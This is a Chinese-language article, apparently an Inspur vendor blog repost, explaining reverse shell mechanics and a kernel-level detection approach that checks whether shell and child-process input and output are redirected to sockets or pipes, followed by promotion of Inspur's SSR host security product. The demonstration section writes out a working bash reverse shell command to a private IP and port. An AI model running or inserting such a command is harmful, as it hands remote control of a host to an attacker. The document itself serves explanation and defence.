龙空技术网

「硬核技术头条见」浅谈反弹shell原理及检测机制

浪潮集团 191

前言:

现时我们对“telnetshell判断”大体比较讲究,兄弟们都需要学习一些“telnetshell判断”的相关资讯。那么小编在网摘上搜集了一些对于“telnetshell判断””的相关内容,希望同学们能喜欢,朋友们快快来学习一下吧!

恶意代码攻击正向复杂性、多样性和隐蔽性等方向发展,如何检测及防护这些攻击是当前信息安全领域研究的核心议题。

反弹shell作为常见的攻击手段,攻击者可以利用应用程序漏洞,建立反向shell连接,从而获取对系统的交互式访问权限。

一旦获得了对系统的访问权限,攻击者可以进行侦听,横向移动及尝试提升特权,达到窃取系统或数据库中敏感数据的目的。反弹shell作为外网渗透的最后一步、内网渗透的第一步,其对服务器安全乃至内网安全的危害不言而喻。

「认识反弹shell」

众所周知,正常的攻击方式是攻击者攻击一台目标机器,会在目标机器上打开一个端口,然后去连接该目标机器,这种连接方式我们称之为正向连接。而多数情况下,被控端位于防火墙之后,只能发送请求,不能接收请求,即攻击者的连接请求无法穿过防火墙,如图1所示。

图1 正向连接

有没有什么方法能让目标机主动去连接攻击者呢?当然有,这种技术我们称之为反弹shell或反向shell,即成功利用远程命令执行漏洞的控制端监听在某个端口,被控端主动发起连接请求到该端口,并将其命令行的输入、输出转到控制端的一种攻击方式。

通俗来讲,反弹shell就是一种入侵行为,主要表现为本地主机主动连接远端的攻击者,这样远端攻击者会获得本地主机的执行环境,拥有所有权限,可以任意执行命令,如图2所示。

图2 反向连接

反弹shell通常是通过TCP协议建立连接,也有少数通过ICMP协议来建立连接,由于它可以使用任何端口来建立连接,比如80和443端口,而这两个端口默认是开放的,也使得防火墙和其它网络安全解决方案很难检测到反弹shell行为。

「反弹shell原理解析」

反弹shell的本质是客户端和服务端角色的反转,通过利用webshell或代码执行等漏洞,使目标服务器主动发出连接请求,从而绕过firewall的入站访问控制规则。在目标服务器上可以通过执行许多不同的内置命令或脚本来建立反弹shell连接,比如bash、telnet、netcat、python script、php script等。下面以bash命令为例进行反弹shell演示:

首先在控制端执行侦听命令,比如侦听端口1234;接着在被控端执行命令bash -i >& /dev/tcp/192.168.126.135/1234 0>&1,则控制端会获取到被控端的执行环境,如图3所示。

图3 获取反弹shell

被控端执行的bash -i >& /dev/tcp/192.168.126.135/1234 0>&1命令究竟做了什么呢?

图4a 反弹shell分析

图4b 反弹shell分析

由图4a、图4b可知,在被控端执行此命令后,会产生一个新的bash进程,且该进程会建立一个通向控制端的连接,而新进程的标准输入、标准输出重定向到socket,最终实现了与控制端的交互。

当Target未受到攻击时,其标准输入是指向键盘、标准输出指向显示器的,如图5a所示;而反弹shell攻击就是利用该标准输入、标准输出重定向功能,实现入侵主机对目标机的远程控制的。如图5b所示,attacker利用Linux shell提供的重定向功能,将一个shell命令的标准输入、标准输出重定向至一个与socket或pipe关联的文件上,这样入侵主机的输入成为该shell命令的输入,该shell命令的输出也会直接传递给远端的入侵者。

图5a 正常shell的标准输入、标准输出

图5b 反弹shell的标准输入、标准输出

「如何检测及防护反弹shell」

当前有不少企业相继推出了针对反弹shell进行检测的安全套件,但误报及漏报现象严重,归其原因,主要是检测方式过于单一,而攻击方式却千变万化。比如有的安全套件检测shell进程是否带终端属性,如果shell进程不带终端属性,认为这是一个反弹shell。

但根据此方法,如果对shell进行重新编译或者重命名,则无法对反弹shell进行有效检测。而有的安全套件通过监听bash进程的创建,若bash进程对应的重定向文件为套接字文件并且套接字文件描述符存在网络连接,则认为服务器存在反弹shell攻击。

此方法虽然能有效检测并阻止基于bash进程的反弹shell,但不具备普遍性,因为shell进程不仅仅包括bash shell进程还包括ksh、zsh进程等等。还有一部分安全套件先获取进程创建事件,然后判断进程是否是shell进程,如果不是shell进程,则认为不存在反弹shell攻击。根据此方法,如果对shell进程进行重新编译或者重命名,也是无法对反弹shell进行有效检测的。

经过大量实验,我们可以发现反弹shell的如下特点:

反弹shell往往是attacker控制target,让target执行一些命令。大部分的命令执行是通过execve syscall实现的。execve本质上是创建一个新进程,比如在bash下执行ls的时候,bash是父进程,ls是子进程。子进程会继承父进程的文件描述符 所以可以从检测异常的shell转为检测异常的子进程。

真实攻击环境中,attacker通过某种方式进入网站后台,接着通过某种方式获取到webshell,在webshell上执行反弹shell的命令,从而attacker获取到被控端的执行环境。本文主要对执行反弹shell的命令及attacker获取到被控端执行环境这一过程进行检测,原理框图如下。

图6 反弹shell检测架构

具体流程如下:

(1)首先,在被控端主机内核中捕获shell进程,如果捕获到shell进程,则查看其标准输入、标准输出文件描述符,若标准输入、标准输出都重定向到socket连接或者pipe管道,则认为出现了反弹shell。

(2)attacker获取到target执行环境后,势必会执行一些命令,比如whoami、ls、pwd等,跟踪这些子进程的标准输入、标准输出文件描述符,如果标准输入和标准输出重定向到了socket连接或pipe管道,则认为出现了反弹shell。

(3)发现反弹shell以后,进一步获取其socket连接的四元组信息,以确定attacker。

检测结果如下:

图7 检测结果

综上,此方法能够有效检测出通过创建shell进程进行反弹shell的行为以及试图修改shell进程名或对shell源码进行重新编译后再进行反弹shell的行为,极大地减少了反弹shell的漏报、误报。

当在本地主机中发现反弹shell,可以向用户提供反弹shell的相关信息;根据提供的反弹shell信息,可以向建立对外网络连接的进程发送终止信号并将远端攻击者的IP加入黑名单,从而阻断反弹shell。

简而言之,上述针对反弹shell的检测及阻断机制增强了主机对反弹shell攻击的安全防护能力,能及时阻断对主机系统的攻击,最大程度地降低了主机系统安全风险。

「浪潮主机安全解决方案」

目前主流的安全解决方案仍然以信息加密、防火墙、杀毒等被动防御措施为主,主机的防御能力虽然得到了改善,但随着网络攻击与黑客入侵技术的发展,错综复杂的安全问题依旧严峻。因此针对客户面临的以上挑战,浪潮推出新一代主机安全产品解决方案,以提高关键信息基础设施抵御攻击的能力。

浪潮于2004年推出中国首款主机安全加固产品——浪潮SSR,截止目前产品已升级五个大版本,每个大版本的发布都是中国主机安全不同发展阶段的剪影。

图8 浪潮SSR发展时间线

从物理上分析,浪潮SSR包括安全管理平台和安全客户端两部分。安全管理平台是一套基于B/S架构的软件,可部署在虚拟机或物理机中,负责对所有主机中各类安全策略的统一制定、安全事件的集中存储和分析、安全状态的统一监控;安全客户端部署在需要被保护的主机中,包括数据中心物理主机、虚拟主机、虚拟化软件,以及各类业务终端和智助设备中,负责安全策略的执行和安全数据的采集。

SSR V5.0架构如下图所示。浪潮SSR支持当前主流Windows、Linux、AIX等操作系统、支持异构CPU(飞腾、龙芯等),按需提供集“安全检测、安全防护、安全响应”于一体的主机安全服务。

图9 浪潮主机安全增强系统V5.0架构

2007年,浪潮SSR通过原信息产业部组织的专家鉴定,认为“操作系统内核加固技术有特色,整体技术达到国内领先水平”。10余年来,浪潮专注主机安全领域技术研究和产品研发,保障了SSR产品在阻止黑客和恶意代码入侵能力,产品稳定性和性能等方面持续提升,也赢得了客户的高度认可。

目前,浪潮SSR已服务于我国80%以上部委和行业客户,并曾服务于北京奥运会、上海世博会、广州亚运会、山东全运会、深圳大运会等国家级赛事及活动。其中世博会期间,浪潮SSR共拦截近5万次恶意攻击,保证了系统安全稳定的运行,选择浪潮SSR,就选择更专业、更稳定、更持久的主机安全服务能力。

标签: #telnetshell判断